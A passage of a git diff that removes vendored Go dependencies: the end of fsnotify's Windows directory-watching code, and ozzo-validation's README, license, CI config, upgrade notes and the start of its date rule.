!= nil { - return os.NewSyscallError("PostQueuedCompletionStatus", e) - } - return nil -} - -func getDir(pathname string) (dir string, err error) { - attr, e := syscall.GetFileAttributes(syscall.StringToUTF16Ptr(pathname)) - if e != nil { - return "", os.NewSyscallError("GetFileAttributes", e) - } - if attr&syscall.FILE_ATTRIBUTE_DIRECTORY != 0 { - dir = pathname - } else { - dir, _ = filepath.Split(pathname) - dir = filepath.Clean(dir) - } - return -} - -func getIno(path string) (ino *inode, err error) { - h, e := syscall.CreateFile(syscall.StringToUTF16Ptr(path), - syscall.FILE_LIST_DIRECTORY, - syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE|syscall.FILE_SHARE_DELETE, - nil, syscall.OPEN_EXISTING, - syscall.FILE_FLAG_BACKUP_SEMANTICS|syscall.FILE_FLAG_OVERLAPPED, 0) - if e != nil { - return nil, os.NewSyscallError("CreateFile", e) - } - var fi syscall.ByHandleFileInformation - if e = syscall.GetFileInformationByHandle(h, &fi); e != nil { - syscall.CloseHandle(h) - return nil, os.NewSyscallError("GetFileInformationByHandle", e) - } - ino = &inode{ - handle: h, - volume: fi.VolumeSerialNumber, - index: uint64(fi.FileIndexHigh)<<32 | uint64(fi.FileIndexLow), - } - return ino, nil -} - -// Must run within the I/O thread. -func (m watchMap) get(ino *inode) *watch { - if i := m[ino.volume]; i != nil { - return i[ino.index] - } - return nil -} - -// Must run within the I/O thread. -func (m watchMap) set(ino *inode, watch *watch) { - i := m[ino.volume] - if i == nil { - i = make(indexMap) - m[ino.volume] = i - } - i[ino.index] = watch -} - -// Must run within the I/O thread. -func (w *Watcher) addWatch(pathname string, flags uint64) error { - dir, err := getDir(pathname) - if err != nil { - return err - } - if flags&sysFSONLYDIR != 0 && pathname != dir { - return nil - } - ino, err := getIno(dir) - if err != nil { - return err - } - w.mu.Lock() - watchEntry := w.watches.get(ino) - w.mu.Unlock() - if watchEntry == nil { - if _, e := syscall.CreateIoCompletionPort(ino.handle, w.port, 0, 0); e != nil { - syscall.CloseHandle(ino.handle) - return os.NewSyscallError("CreateIoCompletionPort", e) - } - watchEntry = &watch{ - ino: ino, - path: dir, - names: make(map[string]uint64), - } - w.mu.Lock() - w.watches.set(ino, watchEntry) - w.mu.Unlock() - flags |= provisional - } else { - syscall.CloseHandle(ino.handle) - } - if pathname == dir { - watchEntry.mask |= flags - } else { - watchEntry.names[filepath.Base(pathname)] |= flags - } - if err = w.startRead(watchEntry); err != nil { - return err - } - if pathname == dir { - watchEntry.mask &= ^provisional - } else { - watchEntry.names[filepath.Base(pathname)] &= ^provisional - } - return nil -} - -// Must run within the I/O thread. -func (w *Watcher) remWatch(pathname string) error { - dir, err := getDir(pathname) - if err != nil { - return err - } - ino, err := getIno(dir) - if err != nil { - return err - } - w.mu.Lock() - watch := w.watches.get(ino) - w.mu.Unlock() - if watch == nil { - return fmt.Errorf("can't remove non-existent watch for: %s", pathname) - } - if pathname == dir { - w.sendEvent(watch.path, watch.mask&sysFSIGNORED) - watch.mask = 0 - } else { - name := filepath.Base(pathname) - w.sendEvent(filepath.Join(watch.path, name), watch.names[name]&sysFSIGNORED) - delete(watch.names, name) - } - return w.startRead(watch) -} - -// Must run within the I/O thread. -func (w *Watcher) deleteWatch(watch *watch) { - for name, mask := range watch.names { - if mask&provisional == 0 { - w.sendEvent(filepath.Join(watch.path, name), mask&sysFSIGNORED) - } - delete(watch.names, name) - } - if watch.mask != 0 { - if watch.mask&provisional == 0 { - w.sendEvent(watch.path, watch.mask&sysFSIGNORED) - } - watch.mask = 0 - } -} - -// Must run within the I/O thread. -func (w *Watcher) startRead(watch *watch) error { - if e := syscall.CancelIo(watch.ino.handle); e != nil { - w.Errors <- os.NewSyscallError("CancelIo", e) - w.deleteWatch(watch) - } - mask := toWindowsFlags(watch.mask) - for _, m := range watch.names { - mask |= toWindowsFlags(m) - } - if mask == 0 { - if e := syscall.CloseHandle(watch.ino.handle); e != nil { - w.Errors <- os.NewSyscallError("CloseHandle", e) - } - w.mu.Lock() - delete(w.watches[watch.ino.volume], watch.ino.index) - w.mu.Unlock() - return nil - } - e := syscall.ReadDirectoryChanges(watch.ino.handle, &watch.buf[0], - uint32(unsafe.Sizeof(watch.buf)), false, mask, nil, &watch.ov, 0) - if e != nil { - err := os.NewSyscallError("ReadDirectoryChanges", e) - if e == syscall.ERROR_ACCESS_DENIED && watch.mask&provisional == 0 { - // Watched directory was probably removed - if w.sendEvent(watch.path, watch.mask&sysFSDELETESELF) { - if watch.mask&sysFSONESHOT != 0 { - watch.mask = 0 - } - } - err = nil - } - w.deleteWatch(watch) - w.startRead(watch) - return err - } - return nil -} - -// readEvents reads from the I/O completion port, converts the -// received events into Event objects and sends them via the Events channel. -// Entry point to the I/O thread. -func (w *Watcher) readEvents() { - var ( - n, key uint32 - ov *syscall.Overlapped - ) - runtime.LockOSThread() - - for { - e := syscall.GetQueuedCompletionStatus(w.port, &n, &key, &ov, syscall.INFINITE) - watch := (*watch)(unsafe.Pointer(ov)) - - if watch == nil { - select { - case ch := <-w.quit: - w.mu.Lock() - var indexes []indexMap - for _, index := range w.watches { - indexes = append(indexes, index) - } - w.mu.Unlock() - for _, index := range indexes { - for _, watch := range index { - w.deleteWatch(watch) - w.startRead(watch) - } - } - var err error - if e := syscall.CloseHandle(w.port); e != nil { - err = os.NewSyscallError("CloseHandle", e) - } - close(w.Events) - close(w.Errors) - ch <- err - return - case in := <-w.input: - switch in.op { - case opAddWatch: - in.reply <- w.addWatch(in.path, uint64(in.flags)) - case opRemoveWatch: - in.reply <- w.remWatch(in.path) - } - default: - } - continue - } - - switch e { - case syscall.ERROR_MORE_DATA: - if watch == nil { - w.Errors <- errors.New("ERROR_MORE_DATA has unexpectedly null lpOverlapped buffer") - } else { - // The i/o succeeded but the buffer is full. - // In theory we should be building up a full packet. - // In practice we can get away with just carrying on. - n = uint32(unsafe.Sizeof(watch.buf)) - } - case syscall.ERROR_ACCESS_DENIED: - // Watched directory was probably removed - w.sendEvent(watch.path, watch.mask&sysFSDELETESELF) - w.deleteWatch(watch) - w.startRead(watch) - continue - case syscall.ERROR_OPERATION_ABORTED: - // CancelIo was called on this handle - continue - default: - w.Errors <- os.NewSyscallError("GetQueuedCompletionPort", e) - continue - case nil: - } - - var offset uint32 - for { - if n == 0 { - w.Events <- newEvent("", sysFSQOVERFLOW) - w.Errors <- errors.New("short read in readEvents()") - break - } - - // Point "raw" to the event in the buffer - raw := (*syscall.FileNotifyInformation)(unsafe.Pointer(&watch.buf[offset])) - buf := (*[syscall.MAX_PATH]uint16)(unsafe.Pointer(&raw.FileName)) - name := syscall.UTF16ToString(buf[:raw.FileNameLength/2]) - fullname := filepath.Join(watch.path, name) - - var mask uint64 - switch raw.Action { - case syscall.FILE_ACTION_REMOVED: - mask = sysFSDELETESELF - case syscall.FILE_ACTION_MODIFIED: - mask = sysFSMODIFY - case syscall.FILE_ACTION_RENAMED_OLD_NAME: - watch.rename = name - case syscall.FILE_ACTION_RENAMED_NEW_NAME: - if watch.names[watch.rename] != 0 { - watch.names[name] |= watch.names[watch.rename] - delete(watch.names, watch.rename) - mask = sysFSMOVESELF - } - } - - sendNameEvent := func() { - if w.sendEvent(fullname, watch.names[name]&mask) { - if watch.names[name]&sysFSONESHOT != 0 { - delete(watch.names, name) - } - } - } - if raw.Action != syscall.FILE_ACTION_RENAMED_NEW_NAME { - sendNameEvent() - } - if raw.Action == syscall.FILE_ACTION_REMOVED { - w.sendEvent(fullname, watch.names[name]&sysFSIGNORED) - delete(watch.names, name) - } - if w.sendEvent(fullname, watch.mask&toFSnotifyFlags(raw.Action)) { - if watch.mask&sysFSONESHOT != 0 { - watch.mask = 0 - } - } - if raw.Action == syscall.FILE_ACTION_RENAMED_NEW_NAME { - fullname = filepath.Join(watch.path, watch.rename) - sendNameEvent() - } - - // Move to the next event in the buffer - if raw.NextEntryOffset == 0 { - break - } - offset += raw.NextEntryOffset - - // Error! - if offset >= n { - w.Errors <- errors.New("Windows system assumed buffer larger than it is, events have likely been missed.") - break - } - } - - if err := w.startRead(watch); err != nil { - w.Errors <- err - } - } -} - -func (w *Watcher) sendEvent(name string, mask uint64) bool { - if mask == 0 { - return false - } - event := newEvent(name, uint32(mask)) - select { - case ch := <-w.quit: - w.quit <- ch - case w.Events <- event: - } - return true -} - -func toWindowsFlags(mask uint64) uint32 { - var m uint32 - if mask&sysFSACCESS != 0 { - m |= syscall.FILE_NOTIFY_CHANGE_LAST_ACCESS - } - if mask&sysFSMODIFY != 0 { - m |= syscall.FILE_NOTIFY_CHANGE_LAST_WRITE - } - if mask&sysFSATTRIB != 0 { - m |= syscall.FILE_NOTIFY_CHANGE_ATTRIBUTES - } - if mask&(sysFSMOVE|sysFSCREATE|sysFSDELETE) != 0 { - m |= syscall.FILE_NOTIFY_CHANGE_FILE_NAME | syscall.FILE_NOTIFY_CHANGE_DIR_NAME - } - return m -} - -func toFSnotifyFlags(action uint32) uint64 { - switch action { - case syscall.FILE_ACTION_ADDED: - return sysFSCREATE - case syscall.FILE_ACTION_REMOVED: - return sysFSDELETE - case syscall.FILE_ACTION_MODIFIED: - return sysFSMODIFY - case syscall.FILE_ACTION_RENAMED_OLD_NAME: - return sysFSMOVEDFROM - case syscall.FILE_ACTION_RENAMED_NEW_NAME: - return sysFSMOVEDTO - } - return 0 -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/.gitignore b/vendor/github.com/go-ozzo/ozzo-validation/.gitignore deleted file mode 100644 index daf913b1b3..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof diff --git a/vendor/github.com/go-ozzo/ozzo-validation/.travis.yml b/vendor/github.com/go-ozzo/ozzo-validation/.travis.yml deleted file mode 100644 index aedd4540b4..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/.travis.yml +++ /dev/null @@ -1,16 +0,0 @@ -language: go - -go: - - 1.6 - - 1.7 - - tip - -install: - - go get golang.org/x/tools/cmd/cover - - go get github.com/mattn/goveralls - - go list -f '{{range .Imports}}{{.}} {{end}}' ./... | xargs go get -v - - go list -f '{{range .TestImports}}{{.}} {{end}}' ./... | xargs go get -v - -script: - - go test -v -covermode=count -coverprofile=coverage.out - - $HOME/gopath/bin/goveralls -coverprofile=coverage.out -service=travis-ci diff --git a/vendor/github.com/go-ozzo/ozzo-validation/LICENSE b/vendor/github.com/go-ozzo/ozzo-validation/LICENSE deleted file mode 100644 index d235be9cc6..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/LICENSE +++ /dev/null @@ -1,17 +0,0 @@ -The MIT License (MIT) -Copyright (c) 2016, Qiang Xue - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software -and associated documentation files (the "Software"), to deal in the Software without restriction, -including without limitation the rights to use, copy, modify, merge, publish, distribute, -sublicense, and/or sell copies of the Software, and to permit persons to whom the Software -is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or -substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING -BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, -DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/go-ozzo/ozzo-validation/README.md b/vendor/github.com/go-ozzo/ozzo-validation/README.md deleted file mode 100644 index 1841a7cb49..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/README.md +++ /dev/null @@ -1,530 +0,0 @@ -# ozzo-validation - -[![GoDoc](https://godoc.org/github.com/go-ozzo/ozzo-validation?status.png)](http://godoc.org/github.com/go-ozzo/ozzo-validation) -[![Build Status](https://travis-ci.org/go-ozzo/ozzo-validation.svg?branch=master)](https://travis-ci.org/go-ozzo/ozzo-validation) -[![Coverage Status](https://coveralls.io/repos/github/go-ozzo/ozzo-validation/badge.svg?branch=master)](https://coveralls.io/github/go-ozzo/ozzo-validation?branch=master) -[![Go Report](https://goreportcard.com/badge/github.com/go-ozzo/ozzo-validation)](https://goreportcard.com/report/github.com/go-ozzo/ozzo-validation) - -## Description - -ozzo-validation is a Go package that provides configurable and extensible data validation capabilities. -It has the following features: - -* use normal programming constructs rather than error-prone struct tags to specify how data should be validated. -* can validate data of different types, e.g., structs, strings, byte slices, slices, maps, arrays. -* can validate custom data types as long as they implement the `Validatable` interface. -* can validate data types that implement the `sql.Valuer` interface (e.g. `sql.NullString`). -* customizable and well-formatted validation errors. -* provide a rich set of validation rules right out of box. -* extremely easy to create and use custom validation rules. - - -## Requirements - -Go 1.6 or above. - - -## Getting Started - -The ozzo-validation package mainly includes a set of validation rules and two validation methods. You use -validation rules to describe how a value should be considered valid, and you call either `validation.Validate()` -or `validation.ValidateStruct()` to validate the value. - - -### Installation - -Run the following command to install the package: - -``` -go get github.com/go-ozzo/ozzo-validation -go get github.com/go-ozzo/ozzo-validation/is -``` - -### Validating a Simple Value - -For a simple value, such as a string or an integer, you may use `validation.Validate()` to validate it. For example, - -```go -package main - -import ( - "fmt" - - "github.com/go-ozzo/ozzo-validation" - "github.com/go-ozzo/ozzo-validation/is" -) - -func main() { - data := "example" - err := validation.Validate(data, - validation.Required, // not empty - validation.Length(5, 100), // length between 5 and 100 - is.URL, // is a valid URL - ) - fmt.Println(err) - // Output: - // must be a valid URL -} -``` - -The method `validation.Validate()` will run through the rules in the order that they are listed. If a rule fails -the validation, the method will return the corresponding error and skip the rest of the rules. The method will -return nil if the value passes all validation rules. - - -### Validating a Struct - -For a struct value, you usually want to check if its fields are valid. For example, in a RESTful application, you -may unmarshal the request payload into a struct and then validate the struct fields. If one or multiple fields -are invalid, you may want to get an error describing which fields are invalid. You can use `validation.ValidateStruct()` -to achieve this purpose. A single struct can have rules for multiple fields, and a field can be associated with multiple -rules. For example, - -```go -package main - -import ( - "fmt" - "regexp" - - "github.com/go-ozzo/ozzo-validation" - "github.com/go-ozzo/ozzo-validation/is" -) - -type Address struct { - Street string - City string - State string - Zip string -} - -func (a Address) Validate() error { - return validation.ValidateStruct(&a, - // Street cannot be empty, and the length must between 5 and 50 - validation.Field(&a.Street, validation.Required, validation.Length(5, 50)), - // City cannot be empty, and the length must between 5 and 50 - validation.Field(&a.City, validation.Required, validation.Length(5, 50)), - // State cannot be empty, and must be a string consisting of two letters in upper case - validation.Field(&a.State, validation.Required, validation.Match(regexp.MustCompile("^[A-Z]{2}$"))), - // State cannot be empty, and must be a string consisting of five digits - validation.Field(&a.Zip, validation.Required, validation.Match(regexp.MustCompile("^[0-9]{5}$"))), - ) -} - -func main() { - a := Address{ - Street: "123", - City: "Unknown", - State: "Virginia", - Zip: "12345", - } - - err := a.Validate() - fmt.Println(err) - // Output: - // Street: the length must be between 5 and 50; State: must be in a valid format. -} -``` - -Note that when calling `validation.ValidateStruct` to validate a struct, you should pass to the method a pointer -to the struct instead of the struct itself. Similarly, when calling `validation.Field` to specify the rules -for a struct field, you should use a pointer to the struct field. - -When the struct validation is performed, the fields are validated in the order they are specified in `ValidateStruct`. -And when each field is validated, its rules are also evaluated in the order they are associated with the field. -If a rule fails, an error is recorded for that field, and the validation will continue with the next field. - - -### Validation Errors - -The `validation.ValidateStruct` method returns validation errors found in struct fields in terms of `validation.Errors` -which is a map of fields and their corresponding errors. Nil is returned if validation passes. - -By default, `validation.Errors` uses the struct tags named `json` to determine what names should be used to -represent the invalid fields. The type also implements the `json.Marshaler` interface so that it can be marshaled -into a proper JSON object. For example, - -```go -type Address struct { - Street string `json:"street"` - City string `json:"city"` - State string `json:"state"` - Zip string `json:"zip"` -} - -// ...perform validation here... - -err := a.Validate() -b, _ := json.Marshal(err) -fmt.Println(string(b)) -// Output: -// {"street":"the length must be between 5 and 50","state":"must be in a valid format"} -``` - -You may modify `validation.ErrorTag` to use a different struct tag name. - -If you do not like the magic that `ValidateStruct` determines error keys based on struct field names or corresponding -tag values, you may use the following alternative approach: - -```go -c := Customer{ - Name: "Qiang Xue", - Email: "q", - Address: Address{ - State: "Virginia", - }, -} - -err := validation.Errors{ - "name": validation.Validate(c.Name, validation.Required, validation.Length(5, 20)), - "email": validation.Validate(c.Name, validation.Required, is.Email), - "zip": validation.Validate(c.Address.Zip, validation.Required, validation.Match(regexp.MustCompile("^[0-9]{5}$"))), -}.Filter() -fmt.Println(err) -// Output: -// email: must be a valid email address; zip: cannot be blank. -``` - -In the above example, we build a `validation.Errors` by a list of names and the corresponding validation results. -At the end we call `Errors.Filter()` to remove from `Errors` all nils which correspond to those successful validation -results. The method will return nil if `Errors` is empty. - -The above approach is very flexible as it allows you to freely build up your validation error structure. You can use -it to validate both struct and non-struct values. Compared to using `ValidateStruct` to validate a struct, -it has the drawback that you have to redundantly specify the error keys while `ValidateStruct` can automatically -find them out. - - -### Internal Errors - -Internal errors are different from validation errors in that internal errors are caused by malfunctioning code (e.g. -a validator making a remote call to validate some data when the remote service is down) rather -than the data being validated. When an internal error happens during data validation, you may allow the user to resubmit -the same data to perform validation again, hoping the program resumes functioning. On the other hand, if data validation -fails due to data error, the user should generally not resubmit the same data again. - -To differentiate internal errors from validation errors, when an internal error occurs in a validator, wrap it -into `validation.InternalError` by calling `validation.NewInternalError()`. The user of the validator can then check -if a returned error is an internal error or not. For example, - -```go -if err := a.Validate(); err != nil { - if e, ok := err.(validation.InternalError); ok { - // an internal error happened - fmt.Println(e.InternalError()) - } -} -``` - - -## Validatable Types - -A type is validatable if it implements the `validation.Validatable` interface. - -When `validation.Validate` is used to validate a validatable value, if it does not find any error with the -given validation rules, it will further call the value's `Validate()` method. - -Similarly, when `validation.ValidateStruct` is validating a struct field whose type is validatable, it will call -the field's `Validate` method after it passes the listed rules. - -In the following example, the `Address` field of `Customer` is validatable because `Address` implements -`validation.Validatable`. Therefore, when validating a `Customer` struct with `validation.ValidateStruct`, -validation will "dive" into the `Address` field. - -```go -type Customer struct { - Name string - Gender string - Email string - Address Address -} - -func (c Customer) Validate() error { - return validation.ValidateStruct(&c, - // Name cannot be empty, and the length must be between 5 and 20. - validation.Field(&c.Name, validation.Required, validation.Length(5, 20)), - // Gender is optional, and should be either "Female" or "Male". - validation.Field(&c.Gender, validation.In("Female", "Male")), - // Email cannot be empty and should be in a valid email format. - validation.Field(&c.Email, validation.Required, is.Email), - // Validate Address using its own validation rules - validation.Field(&c.Address), - ) -} - -c := Customer{ - Name: "Qiang Xue", - Email: "q", - Address: Address{ - Street: "123 Main Street", - City: "Unknown", - State: "Virginia", - Zip: "12345", - }, -} - -err := c.Validate() -fmt.Println(err) -// Output: -// Address: (State: must be in a valid format.); Email: must be a valid email address. -``` - -Sometimes, you may want to skip the invocation of a type's `Validate` method. To do so, simply associate -a `validation.Skip` rule with the value being validated. - - -### Maps/Slices/Arrays of Validatables - -When validating a map, slice, or array, whose element type implements the `validation.Validatable` interface, -the `validation.Validate` method will call the `Validate` method of every non-nil element. -The validation errors of the elements will be returned as `validation.Errors` which maps the keys of the -invalid elements to their corresponding validation errors. For example, - -```go -addresses := []Address{ - Address{State: "MD", Zip: "12345"}, - Address{Street: "123 Main St", City: "Vienna", State: "VA", Zip: "12345"}, - Address{City: "Unknown", State: "NC", Zip: "123"}, -} -err := validation.Validate(addresses) -fmt.Println(err) -// Output: -// 0: (City: cannot be blank; Street: cannot be blank.); 2: (Street: cannot be blank; Zip: must be in a valid format.). -``` - -When using `validation.ValidateStruct` to validate a struct, the above validation procedure also applies to those struct -fields which are map/slices/arrays of validatables. - - -### Pointers - -When a value being validated is a pointer, most validation rules will validate the actual value pointed to by the pointer. -If the pointer is nil, these rules will skip the validation. - -An exception is the `validation.Required` and `validation.NotNil` rules. When a pointer is nil, they -will report a validation error. - - -### Types Implementing `sql.Valuer` - -If a data type implements the `sql.Valuer` interface (e.g. `sql.NullString`), the built-in validation rules will handle -it properly. In particular, when a rule is validating such data, it will call the `Value()` method and validate -the returned value instead. - - -### Required vs. Not Nil - -When validating input values, there are two different scenarios about checking if input values are provided or not. - -In the first scenario, an input value is considered missing if it is not entered or it is entered as a zero value -(e.g. an empty string, a zero integer). You can use the `validation.Required` rule in this case. - -In the second scenario, an input value is considered missing only if it is not entered. A pointer field is usually -used in this case so that you can detect if a value is entered or not by checking if the pointer is nil or not. -You can use the `validation.NotNil` rule to ensure a value is entered (even if it is a zero value). - - -### Embedded Structs - -The `validation.ValidateStruct` method will properly validate a struct that contains embedded structs. In particular, -the fields of an embedded struct are treated as if they belong directly to the containing struct. For example, - -```go -type Employee struct { - Name string -} - -func () - -type Manager struct { - Employee - Level int -} - -m := Manager{} -err := validation.ValidateStruct(&m, - validation.Field(&m.Name, validation.Required), - validation.Field(&m.Level, validation.Required), -) -fmt.Println(err) -// Output: -// Level: cannot be blank; Name: cannot be blank. -``` - -In the above code, we use `&m.Name` to specify the validation of the `Name` field of the embedded struct `Employee`. -And the validation error uses `Name` as the key for the error associated with the `Name` field as if `Name` a field -directly belonging to `Manager`. - -If `Employee` implements the `validation.Validatable` interface, we can also use the following code to validate -`Manager`, which generates the same validation result: - -```go -func (e Employee) Validate() error { - return validation.ValidateStruct(&e, - validation.Field(&e.Name, validation.Required), - ) -} - -err := validation.ValidateStruct(&m, - validation.Field(&m.Employee), - validation.Field(&m.Level, validation.Required), -) -fmt.Println(err) -// Output: -// Level: cannot be blank; Name: cannot be blank. -``` - - -## Built-in Validation Rules - -The following rules are provided in the `validation` package: - -* `In(...interface{})`: checks if a value can be found in the given list of values. -* `Length(min, max int)`: checks if the length of a value is within the specified range. - This rule should only be used for validating strings, slices, maps, and arrays. -* `RuneLength(min, max int)`: checks if the length of a string is within the specified range. - This rule is similar as `Length` except that when the value being validated is a string, it checks - its rune length instead of byte length. -* `Min(min interface{})` and `Max(max interface{})`: checks if a value is within the specified range. - These two rules should only be used for validating int, uint, float and time.Time types. -* `Match(*regexp.Regexp)`: checks if a value matches the specified regular expression. - This rule should only be used for strings and byte slices. -* `Date(layout string)`: checks if a string value is a date whose format is specified by the layout. - By calling `Min()` and/or `Max()`, you can check additionally if the date is within the specified range. -* `Required`: checks if a value is not empty (neither nil nor zero). -* `NotNil`: checks if a pointer value is not nil. Non-pointer values are considered valid. -* `NilOrNotEmpty`: checks if a value is a nil pointer or a non-empty value. This differs from `Required` in that it treats a nil pointer as valid. -* `Skip`: this is a special rule used to indicate that all rules following it should be skipped (including the nested ones). - -The `is` sub-package provides a list of commonly used string validation rules that can be used to check if the format -of a value satisfies certain requirements. Note that these rules only handle strings and byte slices and if a string - or byte slice is empty, it is considered valid. You may use a `Required` rule to ensure a value is not empty. -Below is the whole list of the rules provided by the `is` package: - -* `Email`: validates if a string is an email or not -* `URL`: validates if a string is a valid URL -* `RequestURL`: validates if a string is a valid request URL -* `RequestURI`: validates if a string is a valid request URI -* `Alpha`: validates if a string contains English letters only (a-zA-Z) -* `Digit`: validates if a string contains digits only (0-9) -* `Alphanumeric`: validates if a string contains English letters and digits only (a-zA-Z0-9) -* `UTFLetter`: validates if a string contains unicode letters only -* `UTFDigit`: validates if a string contains unicode decimal digits only -* `UTFLetterNumeric`: validates if a string contains unicode letters and numbers only -* `UTFNumeric`: validates if a string contains unicode number characters (category N) only -* `LowerCase`: validates if a string contains lower case unicode letters only -* `UpperCase`: validates if a string contains upper case unicode letters only -* `Hexadecimal`: validates if a string is a valid hexadecimal number -* `HexColor`: validates if a string is a valid hexadecimal color code -* `RGBColor`: validates if a string is a valid RGB color in the form of rgb(R, G, B) -* `Int`: validates if a string is a valid integer number -* `Float`: validates if a string is a floating point number -* `UUIDv3`: validates if a string is a valid version 3 UUID -* `UUIDv4`: validates if a string is a valid version 4 UUID -* `UUIDv5`: validates if a string is a valid version 5 UUID -* `UUID`: validates if a string is a valid UUID -* `CreditCard`: validates if a string is a valid credit card number -* `ISBN10`: validates if a string is an ISBN version 10 -* `ISBN13`: validates if a string is an ISBN version 13 -* `ISBN`: validates if a string is an ISBN (either version 10 or 13) -* `JSON`: validates if a string is in valid JSON format -* `ASCII`: validates if a string contains ASCII characters only -* `PrintableASCII`: validates if a string contains printable ASCII characters only -* `Multibyte`: validates if a string contains multibyte characters -* `FullWidth`: validates if a string contains full-width characters -* `HalfWidth`: validates if a string contains half-width characters -* `VariableWidth`: validates if a string contains both full-width and half-width characters -* `Base64`: validates if a string is encoded in Base64 -* `DataURI`: validates if a string is a valid base64-encoded data URI -* `CountryCode2`: validates if a string is a valid ISO3166 Alpha 2 country code -* `CountryCode3`: validates if a string is a valid ISO3166 Alpha 3 country code -* `DialString`: validates if a string is a valid dial string that can be passed to Dial() -* `MAC`: validates if a string is a MAC address -* `IP`: validates if a string is a valid IP address (either version 4 or 6) -* `IPv4`: validates if a string is a valid version 4 IP address -* `IPv6`: validates if a string is a valid version 6 IP address -* `DNSName`: validates if a string is valid DNS name -* `Host`: validates if a string is a valid IP (both v4 and v6) or a valid DNS name -* `Port`: validates if a string is a valid port number -* `MongoID`: validates if a string is a valid Mongo ID -* `Latitude`: validates if a string is a valid latitude -* `Longitude`: validates if a string is a valid longitude -* `SSN`: validates if a string is a social security number (SSN) -* `Semver`: validates if a string is a valid semantic version - -### Customizing Error Messages - -All built-in validation rules allow you to customize error messages. To do so, simply call the `Error()` method -of the rules. For example, - -```go -data := "2123" -err := validation.Validate(data, - validation.Required.Error("is required"), - validation.Match(regexp.MustCompile("^[0-9]{5}$")).Error("must be a string with five digits"), -) -fmt.Println(err) -// Output: -// must be a string with five digits -``` - - -## Creating Custom Rules - -Creating a custom rule is as simple as implementing the `validation.Rule` interface. The interface contains a single -method as shown below, which should validate the value and return the validation error, if any: - -```go -// Validate validates a value and returns an error if validation fails. -Validate(value interface{}) error -``` - -If you already have a function with the same signature as shown above, you can call `validation.By()` to turn -it into a validation rule. For example, - -```go -func checkAbc(value interface{}) error { - s, _ := value.(string) - if s != "abc" { - return errors.New("must be abc") - } - return nil -} - -err := validation.Validate("xyz", validation.By(checkAbc)) -fmt.Println(err) -// Output: must be abc -``` - - -### Rule Groups - -When a combination of several rules are used in multiple places, you may use the following trick to create a -rule group so that your code is more maintainable. - -```go -var NameRule = []validation.Rule{ - validation.Required, - validation.Length(5, 20), -} - -type User struct { - FirstName string - LastName string -} - -func (u User) Validate() error { - return validation.ValidateStruct(&u, - validation.Field(&u.FirstName, NameRule...), - validation.Field(&u.LastName, NameRule...), - ) -} -``` - -In the above example, we create a rule group `NameRule` which consists of two validation rules. We then use this rule -group to validate both `FirstName` and `LastName`. - - -## Credits - -The `is` sub-package wraps the excellent validators provided by the [govalidator](https://github.com/asaskevich/govalidator) package. diff --git a/vendor/github.com/go-ozzo/ozzo-validation/UPGRADE.md b/vendor/github.com/go-ozzo/ozzo-validation/UPGRADE.md deleted file mode 100644 index 8f11d03eaa..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/UPGRADE.md +++ /dev/null @@ -1,46 +0,0 @@ -# Upgrade Instructions - -## Upgrade from 2.x to 3.x - -* Instead of using `StructRules` to define struct validation rules, use `ValidateStruct()` to declare and perform - struct validation. The following code snippet shows how to modify your code: -```go -// 2.x usage -err := validation.StructRules{}. - Add("Street", validation.Required, validation.Length(5, 50)). - Add("City", validation.Required, validation.Length(5, 50)). - Add("State", validation.Required, validation.Match(regexp.MustCompile("^[A-Z]{2}$"))). - Add("Zip", validation.Required, validation.Match(regexp.MustCompile("^[0-9]{5}$"))). - Validate(a) - -// 3.x usage -err := validation.ValidateStruct(&a, - validation.Field(&a.Street, validation.Required, validation.Length(5, 50)), - validation.Field(&a.City, validation.Required, validation.Length(5, 50)), - validation.Field(&a.State, validation.Required, validation.Match(regexp.MustCompile("^[A-Z]{2}$"))), - validation.Field(&a.Zip, validation.Required, validation.Match(regexp.MustCompile("^[0-9]{5}$"))), -) -``` - -* Instead of using `Rules` to declare a rule list and use it to validate a value, call `Validate()` with the rules directly. -```go -data := "example" - -// 2.x usage -rules := validation.Rules{ - validation.Required, - validation.Length(5, 100), - is.URL, -} -err := rules.Validate(data) - -// 3.x usage -err := validation.Validate(data, - validation.Required, - validation.Length(5, 100), - is.URL, -) -``` - -* The default struct tags used for determining error keys is changed from `validation` to `json`. You may modify - `validation.ErrorTag` to change it back. \ No newline at end of file diff --git a/vendor/github.com/go-ozzo/ozzo-validation/date.go b/vendor/github.com/go-ozzo/ozzo-validation/date.go deleted file mode 100644 index 2dc3d583ad..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/date.go +++ /dev/null @@ -1,84 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "errors" - "time" -) - -type dateRule struct { - layout string - min, max time.Time - message string - rangeMessage string -} - -// Date returns a validation rule that checks if a string value is in a format that can be parsed into a date. -// The format of the date should be specified as the layout parameter which accepts the same value as that for time.Parse. -// For example, -// validation.Date(time.ANSIC) -// validation.Date("02 Jan 06 15:04 MST") -// validation.Date("2006-01-02") -// -// By calling Min() and/or Max(), you can let the Date rule to check if a parsed date value is within -// the specified date range. -// 